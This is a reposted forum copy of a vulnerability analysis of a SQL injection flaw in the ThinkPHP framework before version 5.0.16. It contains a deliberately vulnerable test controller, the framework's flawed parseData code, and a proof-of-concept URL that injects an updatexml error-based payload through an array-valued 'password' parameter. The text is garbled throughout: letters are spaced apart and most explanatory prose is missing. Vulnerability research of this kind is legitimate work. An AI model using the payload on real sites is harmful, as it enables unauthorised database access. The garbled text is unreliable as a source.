[19292] 2018-04-20_ThinkPHP框架5.0.16sql注入漏洞分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2018-04-20_ThinkPHP框架5.0.16sql注入漏洞分析 T h i n k P H P   <   5 . 0 . 1 6   s q l i   2 0 1 8 - 0 4 - 2 0 F 0 r m a t i 0 x 0 1   t h i n k p h p , d e l a y c h y b e t a t h i n k p h p 0 x 0 2   h t t p : / / w w w . t h i n k p h p . c n / d o w n / 1 1 2 6 . h t m l P H P s t u d y A p a c h e + p h p 5 . 6 + M y S Q L P H P s t o r m 1 t h i n k p h p 2 u s e r 3 i d , n a m e , p a s s w o r d 4 t h i n k p h p t h i n k p h p a p p l i c a t i o n d a t a b a s e . p h p 5 t h i n k p h p t h i n k p h p a p p l i c a t i o n c o n f i g . p h p
6 u p d a t e t h i n k p h p a p p l i c a t i o n i n d e x c o n t r o l l e r I n d e x . p h p < ? p h p n a m e s p a c e   a p p i n d e x c o n t r o l l e r ; c l a s s   I n d e x {                 p u b l i c   f u n c t i o n   i n d e x ( )               {                                 $ p a s s w o r d   =   i n p u t ( ' g e t . p a s s w o r d / a ' ) ;   d b ( ' u s e r ' ) - > w h e r e ( [ ' i d ' = > 1 ] ) - > u p d a t e ( [ ' p a s s w o r d ' = > $ p a s s w o r d ] ) ;                                     }                   } t h i n k p h p i n p u t ( ) g e t p o s t h t t p s : / / w w w . k a n c l o u d . c n / m a n u a l / t h i n k p h p 5 / 1 1 8 0 4 4 t h i n k p h p 便 s q l h t t p s : / / w w w . k a n c l o u d . c n / m a n u a l / t h i n k p h p 5 / 1 3 5 1 7 8 7 访 p a y l o a d h t t p : / / t h i n k p h p . t e s t / t h i n k p h p / p u b l i c / i n d e x . p h p ? p a s s w o r d [ 0 ] = i n c & p a s s w o r d [ 1 ] = u p d a t e x m l ( 2 , c o n c a t ( 0 x 7 e , u s e r ( ) ) , 0 ) & p a s s w o r d [ 2 ] = 1
0 x 0 3   1 p h p s t o r m + d e b u g 访 p h p s t o r m + x d e b u g 访 p a y l o a d s q l F 8 s q l 2 l o a d e r . p h p t h i n k p h p D b . p h p t h i n k p h p l i b r a r y t h i n k d b c o n n e c t o r M y s q l . p h p s q l 3 u p d a t e t h i n k p h p l i b r a r y t h i n k d b Q u e r y . p h p
s q l 4 F 7 t h i n k p h p l i b r a r y t h i n k d b B u i l d e r . p h p p a r s e T a b l e F 8 t a b l e p a r s e D a t a , F 7 5 i n c s w i t c h
s q l 6 $ r e s u l t p a r s e D a t a
p r o t e c t e d   f u n c t i o n   p a r s e D a t a ( $ d a t a ,   $ o p t i o n s )           {                 i f   ( e m p t y ( $ d a t a ) )   {                         r e t u r n   [ ] ;                 }                 / /                         $ b i n d   =   $ t h i s - > q u e r y - > g e t F i e l d s B i n d ( $ o p t i o n s [ ' t a b l e ' ] ) ;             i f   ( ' * '   = =   $ o p t i o n s [ ' f i e l d ' ] )   {                         $ f i e l d s   =   a r r a y _ k e y s ( $ b i n d ) ;                       }   e l s e   {                         $ f i e l d s   =   $ o p t i o n s [ ' f i e l d ' ] ;                 }                 $ r e s u l t   =   [ ] ;                 f o r e a c h   ( $ d a t a   a s   $ k e y   = >   $ v a l )   {                         $ i t e m   =   $ t h i s - > p a r s e K e y ( $ k e y ,   $ o p t i o n s ) ;     i f   ( i s _ o b j e c t ( $ v a l )   & &   m e t h o d _ e x i s t s ( $ v a l ,   ' _ _ t o S t r i n g ' ) )   {                                         / /                                   $ v a l   =   $ v a l - > _ _ t o S t r i n g ( ) ;                         }                         i f   ( f a l s e   = = =   s t r p o s ( $ k e y ,   ' . ' )   & &   ! i n _ a r r a y ( $ k e y ,   $ f i e l d s ,   t r u e ) )   {                                 i f   ( $ o p t i o n s [ ' s t r i c t ' ] )   {                                         t h r o w   n e w   E x c e p t i o n ( ' f i e l d s   n o t   e x i s t s : [ '   .   $ k e y   .   ' ] ' ) ;                                 }                         }   e l s e i f   ( i s _ n u l l ( $ v a l ) )   {                                 $ r e s u l t [ $ i t e m ]   =   ' N U L L ' ;                         }   e l s e i f   ( i s _ a r r a y ( $ v a l )   & &   ! e m p t y ( $ v a l ) )   {                                                   s w i t c h   ( $ v a l [ 0 ] )   {                                         c a s e   ' e x p ' :                                                 $ r e s u l t [ $ i t e m ]   =   $ v a l [ 1 ] ;                                                 b r e a k ;                                         c a s e   ' i n c ' :                                     $ r e s u l t [ $ i t e m ]   =   $ t h i s - > p a r s e K e y ( $ v a l [ 1 ] )   .   ' + '   .   f l o a t v a l ( $ v a l [ 2 ] ) ;                                                 b r e a k ;                                         c a s e   ' d e c ' :                                                 $ r e s u l t [ $ i t e m ]   =   $ t h i s - > p a r s e K e y ( $ v a l [ 1 ] )   .   ' - '   .   f l o a t v a l ( $ v a l [ 2 ] ) ;                                                 b r e a k ;                                 }                         }   e l s e i f   ( i s _ s c a l a r ( $ v a l ) )   {                                 / /                                   i f   ( 0   = = =   s t r p o s ( $ v a l ,   ' : ' )   & &   $ t h i s - > q u e r y - > i s B i n d ( s u b s t r ( $ v a l ,   1 ) ) )   {                                         $ r e s u l t [ $ i t e m ]   =   $ v a l ;                                 }   e l s e   {                                         $ k e y   =   s t r _ r e p l a c e ( ' . ' ,   ' _ ' ,   $ k e y ) ;                                         $ t h i s - > q u e r y - > b i n d ( ' d a t a _ _ '   .   $ k e y ,   $ v a l ,   i s s e t ( $ b i n d [ $ k e y ] )   ?   $ b i n d [ $ k e y ]   :   P D O : : P A R A M _ S T R ) ;                                         $ r e s u l t [ $ i t e m ]   =   ' : d a t a _ _ '   .   $ k e y ;                                 }                         }                 }                 r e t u r n   $ r e s u l t ;         } 0 x 0 4   t h i n k p h p P H P P H P 0 x 0 5   h t t p s : / / w w w . k a n c l o u d . c n / m a n u a l / t h i n k p h p 5 / h t t p s : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z U 2 N z E 3 M T U 0 M w = = & m i d = 2 2 4 7 4 8 3 7 2 0 & i d x = 1 & s n = 9 7 3 b d 7 d a a 2 8 7 a 9 e 9 c 0 1 7 1 e 8 5 2 d b 6 c b 6 b & c h k s m = f c a 0 0 1 f 0 c b d 7 8 8 e 6 e d 3 1 1 9 d e 5 d 3 c 4 b f c 3 3 2 5 2 0 5 c 5 d d 7 f 2 9 6 e 5 5 a 2 b a 3 1 3 f 7 3 b 3 8 0 8 5 2 5 d 1 0 2 2 e 6 & m p s h a r e = 1 & s c e n e = 2 3 & s r c i d = 0 4 1 0 4 v X P M K R N V f r V z z z g 7 H X g # r d h t t p s : / / c h y b e t a . g i t h u b . i o / 2 0 1 8 / 0 4 / 1 0 / T h i n k p h p % E 6 % A 1 % 8 6 % E 6 % 9 E % B 6 - 5 - 0 - 1 6 - s q l % E 6 % B 3 % A 8 % E 5 % 8 5 % A 5 % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 / ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则